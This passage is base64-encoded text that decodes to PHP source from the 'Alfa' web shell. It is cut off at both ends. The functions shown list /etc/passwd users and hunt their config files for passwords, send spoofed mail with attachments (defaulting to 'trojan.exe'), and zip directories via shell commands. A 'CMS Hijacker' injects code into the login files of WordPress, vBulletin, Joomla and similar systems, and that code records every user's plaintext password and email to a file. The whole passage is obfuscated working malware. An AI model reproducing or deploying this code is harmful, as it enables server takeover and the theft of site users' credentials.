XIuYWxmYSAiLiRtYWtlcHdkLGZhbHNlLHRydWUsdHJ1ZSk7ICAkdXNlcnMgPSBqc29uX2RlY29kZSgkYmFzaF91c2VycywgdHJ1ZSk7ICAkeD1jb3VudCgkdXNlcnMpOyAgaWYoJHg+PTIpe2FycmF5X3BvcCgkdXNlcnMpOy0tJHg7fSAgfSAgaWYoISRiYXNlZGlyJiYhJHNhZmVfbW9kZSl7ICAkeD0wOyAgZm9yZWFjaCgkcGFzc3dkIGFzICRzdHIpeyAgJHBvcyA9IHN0cnBvcygkc3RyLCc6Jyk7ICAkdXNlcm5hbWUgPSBzdWJzdHIoJHN0ciwwLCRwb3MpOyAgJGRpcnogPSBzdHJfcmVwbGFjZSgie3VzZXJ9IiwgJHVzZXJuYW1lLCAkbWFrZXB3ZCk7ICBpZigoJHVzZXJuYW1lICE9ICcnKSl7ICBpZihAaXNfcmVhZGFibGUoJGRpcnopKXsgIGFycmF5X3B1c2goJHVzZXJzLCR1c2VybmFtZSk7ICAkeCsrOyAgfX19ICB9ICBlY2hvICc8YnI+PGJyPic7ICBlY2hvICI8Yj48Zm9udCBjb2xvcj1cIiMwMEEyMjBcIj5bK10gRm91bmRlZCAiLnNpemVvZigkcGFzc3dkKS4iIGVudHJ5cyBpbiAvZXRjL3Bhc3N3ZFxuIi4iPGJyIC8+PC9mb250PjwvYj4iOyAgZWNobyAiPGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+WytdIEZvdW5kZWQgIi4keC4iIHJlYWRhYmxlICIuc3RyX3JlcGxhY2UoInt1c2VyfSIsICIqIiwgJG1ha2Vwd2QpLiIgZGlyZWN0b3JpZXNcbiIuIjxiciAvPjwvZm9udD48L2I+IjsgIGVjaG8gIjxiPjxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPlt+XSBTZWFyY2hpbmcgZm9yIHBhc3N3b3JkcyBpbiBjb25maWcgZmlsZXMuLi5cblxuIi4iPGJyIC8+PGJyIC8+PGJyIC8+PC9mb250PjwvYj4iOyAgZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpeyAgaWYoZW1wdHkoJHVzZXIpKWNvbnRpbnVlOyAgJHBhdGggPSBzdHJfcmVwbGFjZSgie3VzZXJ9IiwgJHVzZXIsICRtYWtlcHdkKTsgIGVjaG8gIjxmb3JtIG1ldGhvZD1wb3N0IG9uc3VibWl0PSdnKFwiRmlsZXNNYW5cIix0aGlzLmMudmFsdWUsXCJcIik7cmV0dXJuIGZhbHNlOyc+PHNwYW4+PGZvbnQgY29sb3I9IzI3OTc5Qj5DaGFuZ2UgRGlyIDxmb250IGNvbG9yPSNGRkZGMDE+Li46OiA8L2ZvbnQ+PGZvbnQgY29sb3I9cmVkPjxiPiR1c2VyPC9iPjwvZm9udD48Zm9udCBjb2xvcj0jRkZGRjAxPiA6Oi4uPC9mb250PjwvZm9udD48L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZm9vdHRhYmxlJyB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSckcGF0aCc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjxicj4iOyAgfX1lbHNle2VjaG8oJzxiPiA8Y2VudGVyPjxmb250IGNvbG9yPSIjRkZGRkZGIj5bLV0gRXJyb3IgOiBjb3VkbmB0IHJlYWQgL2V0Yy9wYXNzd2QgWy1dPC9mb250PjwvY2VudGVyPjwvYj4nKTt9ICBlY2hvICc8YnI+PGJyPjwvYj4nOyAgZWNobyAnPC9kaXY+JzsgIGFsZmFmb290ZXIoKTsgIH0gIGZ1bmN0aW9uIGFsZmFtYWlsKCl7ICBhbGZhaGVhZCgpOyAgZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsgIGVjaG8gJzxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgRmFrZSBNYWlsIHw8L2Rpdj48L3A+PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgb25zdWJtaXQ9ImcoXCdtYWlsXCcsbnVsbCx0aGlzLm1haWxfdG8udmFsdWUsdGhpcy5tYWlsX2Zyb20udmFsdWUsdGhpcy5tYWlsX3N1YmplY3QudmFsdWUsXCc+PlwnLHRoaXMubWFpbF9jb250ZW50LnZhbHVlLHRoaXMuY291bnRfbWFpbC52YWx1ZSx0aGlzLm1haWxfYXR0YWNoLnZhbHVlKTsgcmV0dXJuIGZhbHNlOyI+JzsgICR0YWJsZSA9IGFycmF5KCAgJ3RkMScgPT4gYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ01haWwgVG8gOiAnLCAnaW5wdXROYW1lJyA9PiAnbWFpbF90bycsICdpbnB1dFZhbHVlJyA9PiAndGFyZ2V0QGZiaS5nb3YnLCAnaW5wdXRTaXplJyA9PiAnNjAnLCdwbGFjZWhvbGRlcicgPT4gdHJ1ZSksICAndGQyJyA9PiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRnJvbSA6ICcsICdpbnB1dE5hbWUnID0+ICdtYWlsX2Zyb20nLCAnaW5wdXRWYWx1ZScgPT4gJ3NlY0Bnb29nbGUuY29tJywgJ2lucHV0U2l6ZScgPT4gJzYwJywgJ3BsYWNlaG9sZGVyJyA9PiB0cnVlKSwgICd0ZDMnID0+IGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdTdWJqZWN0IDogJywgJ2lucHV0TmFtZScgPT4gJ21haWxfc3ViamVjdCcsICdpbnB1dFZhbHVlJyA9PiAneW91ciBzaXRlIGhhY2tlZCBieSBtZScsICdpbnB1dFNpemUnID0+ICc2MCcpLCAgJ3RkNCcgPT4gYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0F0dGFjaCBGaWxlIDogJywgJ2lucHV0TmFtZScgPT4gJ21haWxfYXR0YWNoJywgJ2lucHV0VmFsdWUnID0+ICRHTE9CQUxTWydjd2QnXS4ndHJvamFuLmV4ZScsICdpbnB1dFNpemUnID0+ICc2MCcpLCAgJ3RkNScgPT4gYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0NvdW50IE1haWwgOiAnLCAnaW5wdXROYW1lJyA9PiAnY291bnRfbWFpbCcsICdpbnB1dFZhbHVlJyA9PiAnMScsICdpbnB1dFNpemUnID0+ICc2MCcpICApOyAgY3JlYXRlX3RhYmxlKCR0YWJsZSk7ICBlY2hvICc8cD48ZGl2IGNsYXNzPSJ0eHRmb250Ij5NZXNzYWdlOjwvZGl2PjwvcD48dGV4dGFyZWEgcm93cz0iNiIgY29scz0iNjAiIG5hbWU9Im1haWxfY29udGVudCI+SGkgRGVhciBBZG1pbiA6KTwvdGV4dGFyZWE+PHA+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIG5hbWU9Im1haWxfc2VuZCIgLz48L3A+PC9mb3JtPjwvY2VudGVyPic7ICBpZihpc3NldCgkX1BPU1RbJ2FsZmE0J10pJiYoJF9QT1NUWydhbGZhNCddID09ICc+PicpKXsgICRtYWlsX3RvID0gJF9QT1NUWydhbGZhMSddOyAgJG1haWxfZnJvbSA9ICRfUE9TVFsnYWxmYTInXTsgICRtYWlsX3N1YmplY3QgPSAkX1BPU1RbJ2FsZmEzJ107ICAkbWFpbF9jb250ZW50ID0gJF9QT1NUWydhbGZhNSddOyAgJGNvdW50X21haWwgPSAoaW50KSRfUE9TVFsnYWxmYTYnXTsgICRtYWlsX2F0dGFjaCA9ICRfUE9TVFsnYWxmYTcnXTsgIGlmKGZpbHRlcl92YXIoJG1haWxfdG8sIEZJTFRFUl9WQUxJREFURV9FTUFJTCkpeyAgaWYoIWVtcHR5KCRtYWlsX2F0dGFjaCkmJkBpc19maWxlKCRtYWlsX2F0dGFjaCkpeyAgJGZpbGUgPSAkbWFpbF9hdHRhY2g7ICAkY29udGVudCA9IF9fcmVhZF9maWxlKCRmaWxlKTsgICRjb250ZW50ID0gY2h1bmtfc3BsaXQoX19aVzVqYjJSbGNnKCRjb250ZW50KSk7ICAkdWlkID0gbWQ1KHVuaXFpZCh0aW1lKCkpKTsgICRmaWxlbmFtZSA9IGJhc2VuYW1lKCRmaWxlKTsgICRoZWFkZXJzID0gIkZyb206ICIuJG1haWxfZnJvbS4iIDwiLiRtYWlsX2Zyb20uIj5cclxuIjsgICRoZWFkZXJzIC49ICJUbzogIiAuICRtYWlsX3RvLiAiICggIi4kbWFpbF90by4iICkgXHJcbiI7ICAkaGVhZGVycyAuPSAiUmVwbHktVG86ICIuJG1haWxfZnJvbS4iXHJcbiI7ICAkaGVhZGVycyAuPSAiQ29udGVudC1UeXBlOiBtdWx0aXBhcnQvbWl4ZWQ7IGJvdW5kYXJ5PVwiIi4kdWlkLiJcIlxyXG5cclxuIjsgICRoZWFkZXJzIC49ICdNSU1FLVZlcnNpb246IDEuMCcgLiAiXHJcbiI7ICAkaGVhZGVycyAuPSAnWC1NYWlsZXI6IHBocCcgLiAiXHJcbiI7ICAkbWFpbF9jb250ZW50ID0gIi0tIi4kdWlkLiJcclxuIjsgICRtYWlsX2NvbnRlbnQgLj0gIkNvbnRlbnQtdHlwZTp0ZXh0L3BsYWluOyBjaGFyc2V0PWlzby04ODU5LTFcclxuIjsgICRtYWlsX2NvbnRlbnQgLj0gIkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IDdiaXRcclxuXHJcbiI7ICAkbWFpbF9jb250ZW50IC49ICRtYWlsX2NvbnRlbnQuIlxyXG5cclxuIjsgICRtYWlsX2NvbnRlbnQgLj0gIi0tIi4kdWlkLiJcclxuIjsgICRtYWlsX2NvbnRlbnQgLj0gIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtOyBuYW1lPVwiIi4kZmlsZW5hbWUuIlwiXHJcbiI7ICAkbWFpbF9jb250ZW50IC49ICJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiYXNlNjRcclxuIjsgICRtYWlsX2NvbnRlbnQgLj0gIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi4kZmlsZW5hbWUuIlwiXHJcblxyXG4iOyAgJG1haWxfY29udGVudCAuPSAkY29udGVudC4iXHJcblxyXG4iOyAgJG1haWxfY29udGVudCAuPSAiLS0iLiR1aWQuIi0tIjsgIH1lbHNleyAgJGhlYWRlcnMgPSAiRnJvbTogIiAuICRtYWlsX2Zyb20uICIgKCAiLiRtYWlsX2Zyb20uIiApIFxyXG4iOyAgJGhlYWRlcnMgLj0gIlRvOiAiIC4gJG1haWxfdG8uICIgKCAiLiRtYWlsX3RvLiIgKSBcclxuIjsgICRoZWFkZXJzIC49ICdSZXBseS1UbzogJy4kbWFpbF9mcm9tLicnIC4gIlxyXG4iOyAgJGhlYWRlcnMgLj0gJ0NvbnRlbnQtdHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04JyAuICJcclxuIjsJICAkaGVhZGVycyAuPSAnTUlNRS1WZXJzaW9uOiAxLjAnIC4gIlxyXG4iOyAgJGhlYWRlcnMgLj0gJ1gtTWFpbGVyOiBwaHAnIC4gIlxyXG4iOyAgfSAgaWYoZW1wdHkoJGNvdW50X21haWwpfHwkY291bnRfbWFpbDwxKSRjb3VudF9tYWlsPTE7ICBpZighZW1wdHkoJG1haWxfZnJvbSkpe2VjaG8gX19wcmUoKTsgIGZvcigkaT0xOyRpPD0kY291bnRfbWFpbDskaSsrKXsgIGlmKEBtYWlsKCRtYWlsX3RvLCRtYWlsX3N1YmplY3QsJG1haWxfY29udGVudCwkaGVhZGVycykpZWNobygiPGNlbnRlcj5TZW50IC0+ICRtYWlsX3RvPGJyPjwvY2VudGVyPiIpOyAgfX1lbHNle19fYWxlcnQoIkludmFsaWQgTWFpbCBGcm9tICEiKTt9ICB9ZWxzZXtfX2FsZXJ0KCJJbnZhbGlkIE1haWwgVG8gISIpO30gIH0gIGVjaG8oJzwvZGl2PicpOyAgYWxmYWZvb3RlcigpOyAgfSAgZnVuY3Rpb24gYWxmYXppcGVyKCl7ICBhbGZhaGVhZCgpOyAgZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PHA+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBDb21wcmVzc29yIHw8L2Rpdj48L3A+Cjxmb3JtIG9uU3VibWl0PSJnKFwnemlwZXJcJyxudWxsLG51bGwsbnVsbCx0aGlzLmRpcnppcC52YWx1ZSx0aGlzLnppcGZpbGUudmFsdWUsXCc+PlwnKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9InBvc3QiPgo8ZGl2IGNsYXNzPSJ0eHRmb250Ij5EaXIvRmlsZTogPC9kaXY+IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkaXJ6aXAiIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIiBzaXplPSI2MCIvPgo8ZGl2IGNsYXNzPSJ0eHRmb250Ij5TYXZlIERpcjogPC9kaXY+IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ6aXBmaWxlIiB2YWx1ZT0iJy4kR0xPQkFMU1snY3dkJ10uJ2FsZmEuemlwIiBzaXplPSI2MCIvPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgbmFtZT0iemlwZXIiIC8+CjwvZm9ybT48L2NlbnRlcj48L3A+JzsgIGlmKGlzc2V0KCRfUE9TVFsnYWxmYTUnXSkgJiYgKCRfUE9TVFsnYWxmYTUnXSA9PSAnPj4nKSl7ICAkZGlyemlwID0gJF9QT1NUWydhbGZhMyddOyAgJHppcGZpbGUgPSAkX1BPU1RbJ2FsZmE0J107CSAgaWYgKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpJiYoJEdMT0JBTFNbJ3N5cyddIT0ndW5peCd8fCFfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpKSl7ICAkY29kZT0naWYoIWV4dGVuc2lvbl9sb2FkZWQoXCd6aXBcJyl8fCFmaWxlX2V4aXN0cygkc291cmNlKSl7cmV0dXJuIGZhbHNlO30kemlwPW5ldyBaaXBBcmNoaXZlKCk7aWYoISR6aXAtPm9wZW4oJGRlc3RpbmF0aW9uLFpJUEFSQ0hJVkU6OkNSRUFURSkpe3JldHVybiBmYWxzZTt9JHNvdXJjZT1zdHJfcmVwbGFjZShcJ1xcXFxcJyxcJy9cJyxyZWFscGF0aCgkc291cmNlKSk7aWYoaXNfZGlyKCRzb3VyY2UpPT09dHJ1ZSl7JGZpbGVzPW5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkc291cmNlKSxSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yOjpTRUxGX0ZJUlNUKTtmb3JlYWNoKCRmaWxlcyBhcyAkZmlsZSl7JGZpbGU9c3RyX3JlcGxhY2UoXCdcXFxcXCcsXCcvXCcsJGZpbGUpO2lmKGluX2FycmF5KHN1YnN0cigkZmlsZSxzdHJycG9zKCRmaWxlLFwnL1wnKSsxKSxhcnJheShcJy5cJyxcJy4uXCcpKSljb250aW51ZTskZmlsZT1yZWFscGF0aCgkZmlsZSk7aWYoaXNfZGlyKCRmaWxlKT09PXRydWUpeyR6aXAtPmFkZEVtcHR5RGlyKHN0cl9yZXBsYWNlKCRzb3VyY2UuXCcvXCcsXCdcJywkZmlsZS5cJy9cJykpO31lbHNlIGlmKGlzX2ZpbGUoJGZpbGUpPT09dHJ1ZSl7JHppcC0+YWRkRnJvbVN0cmluZyhzdHJfcmVwbGFjZSgkc291cmNlLlwnL1wnLFwnXCcsJGZpbGUpLGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7fX19ZWxzZSBpZihpc19maWxlKCRzb3VyY2UpPT09dHJ1ZSl7JHppcC0+YWRkRnJvbVN0cmluZyhiYXNlbmFtZSgkc291cmNlKSxmaWxlX2dldF9jb250ZW50cygkc291cmNlKSk7fXJldHVybiAkemlwLT5jbG9zZSgpOyc7ICAkbmV3ZnVuYyA9IGNyZWF0ZV9mdW5jdGlvbignJHNvdXJjZSwkZGVzdGluYXRpb24nLCAkY29kZSk7ICBpZigkbmV3ZnVuYygkZGlyemlwLCAkemlwZmlsZSkpeyAgZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPjxmb250IGNvbG9yPSJncmVlbiI+U3VjY2Vzcy4uLiE8YnI+Jy4kemlwZmlsZS4nPC9mb250PjwvcD48L2NlbnRlcj4nOyAgfWVsc2V7ZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPjxmb250IGNvbG9yPSJyZWQiPkVSUk9SISEhLi4uPC9mb250PjwvcD48L2NlbnRlcj4nO30gIH1lbHNleyAgYWxmYUV4KCJjZCAnIi5hZGRzbGFzaGVzKGRpcm5hbWUoJHppcGZpbGUpKS4iJzt6aXAgLXIgJyIuYWRkc2xhc2hlcyhiYXNlbmFtZSgkemlwZmlsZSkpLiInICciLmFkZHNsYXNoZXMoJGRpcnppcCkuIicgPiAvZGV2L251bGwgJiIpOyAgZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPlBsZWFzZSBXYWl0IEZvciAxIG1pbnV0ZXMgQU5EIENoZWNrIHRoaXMgLT4gPGI+PGZvbnQgY29sb3I9ImdyZWVuIj4nLiR6aXBmaWxlLic8L2ZvbnQ+PC9iPjxicj5CZWNhdXNlIFdlIEV4ZWN1dGVkIFRoZSBDb21tYW5kIGluIFRoZSBiYWNrZ3JvdW5kICE8L3A+PC9jZW50ZXI+JzsgIH19ICBlY2hvICc8L2Rpdj4nOyAgYWxmYWZvb3RlcigpOyAgfSAgZnVuY3Rpb24gYWxmYWNtc2hpamFja2VyKCl7ICBhbGZhaGVhZCgpOyAgZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGJyPgo8Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IENtcyBIaWphY2tlciB8PC9kaXY+PGJyPjxicj48Zm9ybSBvblN1Ym1pdD0iZyhcJ2Ntc2hpamFja2VyXCcsbnVsbCx0aGlzLmNtc2hpLnZhbHVlLHRoaXMuc2F2ZXRvLnZhbHVlLFwnPj5cJyx0aGlzLmNtc3BhdGgudmFsdWUpO3JldHVybiBmYWxzZTsiIG1ldGhvZD1cJ3Bvc3RcJz4KPGRpdiBjbGFzcz0idHh0Zm9udCI+Q01TOiA8c2VsZWN0IHN0eWxlPSJ3aWR0aDoxMDBweDsiIG5hbWU9ImNtc2hpIj4nOyAgJGNtX2FycmF5ID0gYXJyYXkoInZiIj0+InZCdWxsZXRpbiIsIndwIj0+IndvcmRwcmVzcyIsImpvbSI9PiJqb29tbGEiLCJ3aG1jcyI9PiJ3aG1jcyIsIm15YmIiPT4ibXliYiIsImlwYiI9PiJpcGJvYXJkIiwicGhwYmIiPT4icGhwYmIiKTsgIGZvcmVhY2goJGNtX2FycmF5IGFzICRrZXk9PiR2YWwpZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy4ka2V5LiciPicuJHZhbC4nPC9vcHRpb24+JzsgIGVjaG8oIjwvc2VsZWN0PiIpOyAgZWNobyAnIFBhdGggaW5zdGFsbGVkIGNtczogPGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJjbXNwYXRoIiBwbGFjZWhvbGRlcj0iZXg6IC9ob21lL3VzZXIvcHVibGljX2h0bWwvdmJ1bGxldGluLyI+ClNhdmVUbzogPGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJzYXZldG8iIHZhbHVlPSInLiRHTE9CQUxTWydjd2QnXS4nYWxmYS50eHQiPjwvZm9udD4KPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYnRuIiB2YWx1ZT0iICI+PC9mb3JtPjwvY2VudGVyPjxicj4nOyAgJGNtcyA9ICRfUE9TVFsnYWxmYTEnXTsgICRzYXZldG8gPSAkX1BPU1RbJ2FsZmEyJ107ICAkY21zcGF0aCA9ICRfUE9TVFsnYWxmYTQnXTsgIGlmKCFlbXB0eSgkY21zKSBBTkQgIWVtcHR5KCRzYXZldG8pIEFORCAkX1BPU1RbJ2FsZmE0J10gQU5EICRfUE9TVFsnYWxmYTMnXSA9PSAnPj4nKXsgIGVjaG8gX19wcmUoKTsgIGFsZmFIaWphY2tDbXMoJGNtcywkY21zcGF0aCwkc2F2ZXRvKTsgIH0gIGVjaG8gJzwvZGl2Pic7ICBhbGZhZm9vdGVyKCk7ICB9ICBmdW5jdGlvbiBhbGZhSGlqYWNrQ21zKCRjbXMsJGNtc3BhdGgsJHNhdmV0byl7ICBzd2l0Y2goJGNtcyl7ICBjYXNlICJ2YiI6ICBoaWphY2t2QnVsbGV0aW4oJGNtc3BhdGgsJHNhdmV0byk7ICBicmVhazsgIGNhc2UgIndwIjogIGhpamFja3dwKCRjbXNwYXRoLCRzYXZldG8pOyAgYnJlYWs7ICBjYXNlICJqb20iOiAgaGlqYWNrSm9vbWxhKCRjbXNwYXRoLCRzYXZldG8pOyAgYnJlYWs7ICBjYXNlICJ3aG1jcyI6ICBoaWphY2tXaG1jcygkY21zcGF0aCwkc2F2ZXRvKTsgIGJyZWFrOyAgY2FzZSAibXliYiI6ICBoaWphY2tNeWJiKCRjbXNwYXRoLCRzYXZldG8pOyAgYnJlYWs7ICBjYXNlICJpcGIiOiAgaGlqYWNrSVBCKCRjbXNwYXRoLCRzYXZldG8pOyAgYnJlYWs7ICBjYXNlICJwaHBiYiI6ICBoaWphY2tQSFBCQigkY21zcGF0aCwkc2F2ZXRvKTsgIGJyZWFrOyAgZGVmYXVsdDogIGVjaG8gImVycm9yISI7ICBicmVhazsgIH0gIH0gIGZ1bmN0aW9uIGhpamFja3ZCdWxsZXRpbigkcGF0aCwkc2F2ZXRvKXsgICRjb2RlPSckYWxmYV91c2VybmFtZSA9IHN0cnRvbG93ZXIoJHZidWxsZXRpbi0+R1BDWyJ2Yl9sb2dpbl91c2VybmFtZSJdKTskYWxmYV9wYXNzd29yZCA9ICR2YnVsbGV0aW4tPkdQQ1sidmJfbG9naW5fcGFzc3dvcmQiXTskYWxmYV9maWxlID0gIntzYXZldG9fcGF0aH0iOyRzcWxfcXVlcnkgPSAkZGItPnF1ZXJ5X3JlYWQoIlNFTEVDVCAqIEZST00gIiAuIFRBQkxFX1BSRUZJWCAuICJ1c2VyIFdIRVJFIGB1c2VybmFtZWA9XCciIC4gJGFsZmFfdXNlcm5hbWUgLiAiXCciKTt3aGlsZSgkcm93ID0gJGRiLT5mZXRjaF9hcnJheSgkc3FsX3F1ZXJ5KSl7aWYoc3RybGVuKCRhbGZhX3Bhc3N3b3JkKSA+IDEgQU5EIHN0cmxlbigkYWxmYV91c2VybmFtZSkgPiAxKXskZnAxID0gQGZvcGVuKCRhbGZhX2ZpbGUsICJhKyIpO0Bmd3JpdGUoJGZwMSwgJGFsZmFfdXNlcm5hbWUgLiBcJyA6IFwnIC4gICRhbGZhX3Bhc3N3b3JkLiIgKCIgLiAkcm93WyJlbWFpbCJdIC4gIilcbiIpO0BmY2xvc2UoJGZwMSk7ICRmID0gQGZpbGUoJGFsZmFfZmlsZSk7JG5ldyA9IGFycmF5X3VuaXF1ZSgkZik7JGZwID0gQGZvcGVuKCRhbGZhX2ZpbGUsICJ3Iik7Zm9yZWFjaCgkbmV3IGFzICR2YWx1ZXMpe0BmcHV0cygkZnAsICR2YWx1ZXMpO31AZmNsb3NlKCRmcCk7fX0nOyAgJGNsZWFycHcgPSAnZGVmaW5lZChcJ0RJU0FCTEVfUEFTU1dPUkRfQ0xFQVJJTkdcJyknOyAgJGNvZGU9c3RyX3JlcGxhY2UoJ3tzYXZldG9fcGF0aH0nLCRzYXZldG8sJGNvZGUpOyAgJGxvZ2luID0gJHBhdGguIi9sb2dpbi5waHAiOyAgJGNsYXNzID0gJHBhdGguIi9pbmNsdWRlcy9jbGFzc19ib290c3RyYXAucGhwIjsgICRkb2xvZ2luID0gJ2RvX2xvZ2luX3JlZGlyZWN0KCk7JzsgICRldmlsX2xvZ2luID0gIlx0Ii4kY29kZS4iXG5cdCIuJGRvbG9naW47ICAkZXZpbF9jbGFzcyA9ICJ0cnVlIjsgIGlmKEBpc19maWxlKCRsb2dpbikgQU5EIEBpc193cml0YWJsZSgkbG9naW4pIEFORCBAaXNfZmlsZSgkY2xhc3MpIEFORCBAaXNfd3JpdGFibGUoJGNsYXNzKSl7ICAkZGF0YV9sb2dpbiA9IEBmaWxlX2dldF9jb250ZW50cygkbG9naW4pOyAgJGRhdGFfY2xhc3MgPSBAZmlsZV9nZXRfY29udGVudHMoJGNsYXNzKTsgIGlmKHN0cnN0cigkZGF0YV9sb2dpbiwgJGRvbG9naW4pIEFORCBzdHJzdHIoJGRhdGFfY2xhc3MsICRjbGVhcnB3KSl7ICAkbG9naW5fcmVwbGFjZSA9IHN0cl9yZXBsYWNlKCRkb2xvZ2luLCRldmlsX2xvZ2luLCAkZGF0YV9sb2dpbik7ICAkY2xhc3NfcmVwbGFjZSA9IHN0cl9yZXBsYWNlKCRjbGVhcnB3LCRldmlsX2NsYXNzLCAkZGF0YV9jbGFzcyk7ICBAZmlsZV9wdXRfY29udGVudHMoJGxvZ2luLCAkbG9naW5fcmVwbGFjZSk7ICBAZmlsZV9wdXRfY29udGVudHMoJGNsYXNzLCAkY2xhc3NfcmVwbGFjZSk7ICBoaWphY2tPdXRwdXQoMCwkc2F2ZXRvKTsgIH1lbHNleyAgaGlqYWNrT3V0cHV0KDEpOyAgfSAgfWVsc2V7ICBoaWphY2tPdXRwdXQoMSk7ICB9ICB9ICBmdW5jdGlvbiBoaWphY2t3cCgkcGF0aCwkc2F2ZXRvKXsgICRjb2RlID0gJyRhbGZhX2ZpbGU9IntzYXZldG9fcGF0aH0iOyRmcCA9IGZvcGVuKCRhbGZhX2ZpbGUsICJhKyIpO2Z3cml0ZSgkZnAsICRfUE9TVFtcJ2xvZ1wnXS4iIDogIi4kX1BPU1RbXCdwd2RcJ10uIiAoIi4oJHVzZXItPnVzZXJfZW1haWwpLiIpXG4iKTtmY2xvc2UoJGZwKTskZiA9IEBmaWxlKCRhbGZhX2ZpbGUpOyRuZXcgPSBhcnJheV91bmlxdWUoJGYpOyRmcCA9IEBmb3BlbigkYWxmYV9maWxlLCAidyIpO2ZvcmVhY2goJG5ldyBhcyAkdmFsdWVzKXtAZnB1dHMoJGZwLCAkdmFsdWVzKTt9QGZjbG9zZSgkZnApOyc7ICAkcmVkaXJlY3Rfd3AgPSAnaWYgKCAhaXNfd3BfZXJyb3IoJHVzZXIpICYmICEkcmVhdXRoICkgeyc7ICAkY29kZT1zdHJfcmVwbGFjZSgne3NhdmV0b19wYXRofScsJHNhdmV0bywkY29kZSk7ICAkbG9naW49JHBhdGguIi93cC1sb2dpbi5waHAiOyAgJGV2aWxfbG9naW4gPSAiXHQiLiRyZWRpcmVjdF93cC4iXG5cdCIuJGNvZGU7ICBpZihAaXNfZmlsZSgkbG9naW4pIEFORCBAaXNfd3JpdGFibGUoJGxvZ2luKSl7ICAkZGF0YV9sb2dpbiA9IEBmaWxlX2dldF9jb250ZW50cygkbG9naW4pOyAgaWYoc3Ryc3RyKCRkYXRhX2xvZ2luLCAkcmVkaXJlY3Rfd3ApKXsgICRsb2dpbl9yZXBsYWNlID0gc3RyX3JlcGxhY2UoJHJlZGlyZWN0X3dwLCRldmlsX2xvZ2luLCAkZGF0YV9sb2dpbik7ICBAZmlsZV9wdXRfY29udGVudHMoJGxvZ2luLCAkbG9naW5fcmVwbGFjZSk7ICBoaWphY2tPdXRwdXQoMCwkc2F2ZXRvKTsgIH1lbHNleyAgaGlqYWNrT3V0cHV0KDEpOyAgfSAgfWVsc2V7ICBoaWphY2tPdXRwdXQoMSk7ICB9ICB9ICBmdW5jdGlvbiBoaWphY2tKb29tbGEoJHBhdGgsJHNhdmV0byl7ICAkY29kZSA9ICc8P3BocCBqaW1wb3J0KFwnam9vbWxhLnVzZXIuYXV0aGVudGljYXRpb25cJyk7JEFsZmFfYXV0aCA9ICYgSkF1dGhlbnRpY2F0aW9uOjpnZXRJbnN0YW5jZSgpOyRBbGZhX2RhdGEgPSBhcnJheShcJ3VzZXJuYW1lXCc9PiRfUE9TVFtcJ3VzZXJuYW1lXCddLFwncGFzc3dvcmRcJz0+JF9QT1NUW1wncGFzc3dkXCddKTskQWxmYV9vcHRpb25zID0gYXJyYXkoKTskQWxmYV9yZXNwb25zZSA9ICRBbGZhX2F1dGgtPmF1dGhlbnRpY2F0ZSgkQWxmYV9kYXRhLCAkQWxmYV9vcHRpb25zKTtpZigkQWxmYV9yZXNwb25zZS0+c3RhdHVzID09IDEpeyRhbGZhX2ZpbGU9IntzYXZldG9fcGF0aH0iOyRmcD1AZm9wZW4oJGFsZmFfZmlsZSwiYSsiKTtAZndyaXRlKCRmcCwgJEFsZmFfcmVzcG9uc2UtPnVzZXJuYW1lLiI6Ii4kX1BPU1RbXCdwYXNzd2RcJ10uIiAoICIuJEFsZmFfcmVzcG9uc2UtPmVtYWlsLiIgKVxuIik7QGZjbG9zZSgkZnApOyRmID0gQGZpbGUoJGFsZmFfZmlsZSk7JG5ldyA9IGFycmF5X3VuaXF1ZSgkZik7JGZwID0gQGZvcGVuKCRhbGZhX2ZpbGUsICJ3I